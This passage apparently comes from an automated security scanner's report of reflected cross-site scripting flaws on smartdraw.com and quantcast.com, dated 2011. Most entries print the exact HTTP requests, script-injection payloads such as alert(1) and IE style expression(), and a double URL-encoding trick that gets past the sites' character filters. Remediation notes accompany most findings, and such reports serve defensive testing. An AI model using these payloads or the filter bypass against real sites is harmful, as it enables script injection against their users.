This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /p-aasG6JkxVvmNAaabbe"><a>fe7c65bf24b HTTP/1.1 Host: www.quantcast.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html Content-Language: en Date: Thu, 03 Feb 2011 22:03:07 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1d612%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25220eedd2683a3 was submitted in the REST URL parameter 1. This input was echoed as 1d612"style="x:expression(alert(1))"0eedd2683a3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /1d612%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25220eedd2683a3/x22 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate Date: Thu, 03 Feb 2011 20:29:59 GMT Content-Length: 8711 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:59 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:59 GMT; path=/ Set-Cookie: ASP.NET_SessionId=0rroqt55mx5ciq55y2wqysn5; path=/; HttpOnly Pragma: no-cache Expires: Thu, 03 Feb 2011 20:29:59 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f0935%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522182a262986e was submitted in the REST URL parameter 1. This input was echoed as f0935"style="x:expression(alert(1))"182a262986e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /buyf0935%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522182a262986e/x22 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate Date: Thu, 03 Feb 2011 20:29:55 GMT Content-Length: 8732 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:55 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:55 GMT; path=/ Set-Cookie: ASP.NET_SessionId=u5pklnekx3dx2wzgqqztpun5; path=/; HttpOnly Pragma: no-cache Expires: Thu, 03 Feb 2011 20:29:55 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4fed4%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522152282d3cc2 was submitted in the REST URL parameter 2. This input was echoed as 4fed4"style="x:expression(alert(1))"152282d3cc2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /buy/4fed4%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522152282d3cc2 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate Date: Thu, 03 Feb 2011 20:30:10 GMT Content-Length: 8711 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:30:10 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:30:10 GMT; path=/ Set-Cookie: ASP.NET_SessionId=nmr5smvrazti5abqjnbbtv45; path=/; HttpOnly Pragma: no-cache Expires: Thu, 03 Feb 2011 20:30:10 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c1baf%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522056ce7adff3 was submitted in the REST URL parameter 2. This input was echoed as c1baf"style="x:expression(alert(1))"056ce7adff3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /buy/x22c1baf%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522056ce7adff3 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate Date: Thu, 03 Feb 2011 20:30:05 GMT Content-Length: 8732 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:30:05 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:30:05 GMT; path=/ Set-Cookie: ASP.NET_SessionId=dvui0v455qaojrfdct104guc; path=/; HttpOnly Pragma: no-cache Expires: Thu, 03 Feb 2011 20:30:05 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.133. http://www.smartdraw.com/buy/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.smartdraw.com
Path:
/buy/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 61661"style%3d"x%3aexpression(alert(1))"aa36938865b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 61661"style="x:expression(alert(1))"aa36938865b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /buy/x22?61661"style%3d"x%3aexpression(alert(1))"aa36938865b=1 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:50 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:50 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:50 GMT; path=/ Set-Cookie: ASP.NET_SessionId=zuev0255yk14t1frw24v3j55; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8753 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.134. http://www.smartdraw.com/buy/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.smartdraw.com
Path:
/buy/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 47b9c"style%3d"x%3aexpression(alert(1))"07d1f7b8086 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 47b9c"style="x:expression(alert(1))"07d1f7b8086 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /buy/x22?47b9c"style%3d"x%3aexpression(alert(1))"07d1f7b8086=1 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:48 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:48 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:48 GMT; path=/ Set-Cookie: ASP.NET_SessionId=sbcbwyb2aq3qzfu15i0dsh55; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8753 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2a862%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8fd8df6ce03 was submitted in the REST URL parameter 1. This input was echoed as 2a862"><script>alert(1)</script>8fd8df6ce03 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /2a862%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8fd8df6ce03?id=340839/x22/x3eSmartDraw HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:32 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:32 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:32 GMT; path=/ Set-Cookie: ASP.NET_SessionId=dc5mez55nymwryfaavsylt55; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8844 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6fd6e%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%252271fe023e54 was submitted in the REST URL parameter 1. This input was echoed as 6fd6e"style="x:expression(alert(1))"71fe023e54 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /downloads6fd6e%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%252271fe023e54 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:27 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:27 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:27 GMT; path=/ Set-Cookie: ASP.NET_SessionId=yyv5x0450piuis45ejmzuryy; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8739 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 96d2c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e26549339e2c was submitted in the REST URL parameter 1. This input was echoed as 96d2c"><script>alert(1)</script>26549339e2c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /downloads96d2c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e26549339e2c?id=340839/x22/x3eSmartDraw HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:29 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:29 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:29 GMT; path=/ Set-Cookie: ASP.NET_SessionId=q4uupajw15d2f4bqiizdyum2; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8907 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 75a12%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25228ae5fca1f39 was submitted in the REST URL parameter 1. This input was echoed as 75a12"style="x:expression(alert(1))"8ae5fca1f39 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /75a12%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25228ae5fca1f39 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Cache-Control: public,no-cache,no-store,max-age=0,must-revalidate,proxy-revalidate Date: Thu, 03 Feb 2011 20:29:31 GMT Content-Length: 8683 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:31 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:31 GMT; path=/ Set-Cookie: ASP.NET_SessionId=jl33dq55fge2ij55usujg355; path=/; HttpOnly Pragma: no-cache Expires: Thu, 03 Feb 2011 20:29:31 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a1f7d"><script>alert(1)</script>1bd1fdf7711 was submitted in the id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /downloads?id=340839/x22/x3eSmartDrawa1f7d"><script>alert(1)</script>1bd1fdf7711 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5facb"><script>alert(1)</script>49b68308620 was submitted in the id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /downloads?id=5facb"><script>alert(1)</script>49b68308620 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
1.141. http://www.smartdraw.com/downloads [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.smartdraw.com
Path:
/downloads
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8433d"><script>alert(1)</script>f5beed3ebcb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /downloads?8433d"><script>alert(1)</script>f5beed3ebcb=1 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
1.142. http://www.smartdraw.com/downloads [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.smartdraw.com
Path:
/downloads
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9aec6"><script>alert(1)</script>133a985f46b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /downloads?9aec6"><script>alert(1)</script>133a985f46b=1 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7e0fd%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522c7b5f3c9049 was submitted in the REST URL parameter 1. This input was echoed as 7e0fd"style="x:expression(alert(1))"c7b5f3c9049 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /7e0fd%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522c7b5f3c9049/x22 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:53 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:53 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:53 GMT; path=/ Set-Cookie: ASP.NET_SessionId=muhiv555hhwxlq45i4d30a2z; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8711 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b2601%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522cc75ed19a87 was submitted in the REST URL parameter 1. This input was echoed as b2601"style="x:expression(alert(1))"cc75ed19a87 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /downloadsb2601%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522cc75ed19a87/x22 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:29:48 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:29:48 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:29:48 GMT; path=/ Set-Cookie: ASP.NET_SessionId=gjwvvma5ouzgwz45mccvo0yz; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8774 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 53118%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522c23085e6306 was submitted in the REST URL parameter 2. This input was echoed as 53118"style="x:expression(alert(1))"c23085e6306 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /downloads/53118%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522c23085e6306 HTTP/1.1 Host: www.smartdraw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Thu, 03 Feb 2011 20:30:00 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: EXP=ste; expires=Sun, 03-Feb-2041 20:30:00 GMT; path=/ Set-Cookie: REFID=2; expires=Sun, 03-Feb-2041 20:30:00 GMT; path=/ Set-Cookie: ASP.NET_SessionId=slhjyjfmrcmjlrjjdpmdykfr; path=/; HttpOnly Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 8753 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ba1e3%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25229c5fd0e07db was submitted in the REST URL parameter 2. This input was echoed as ba1e3"style="x:expression(alert(1))"9c5fd0e07db in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
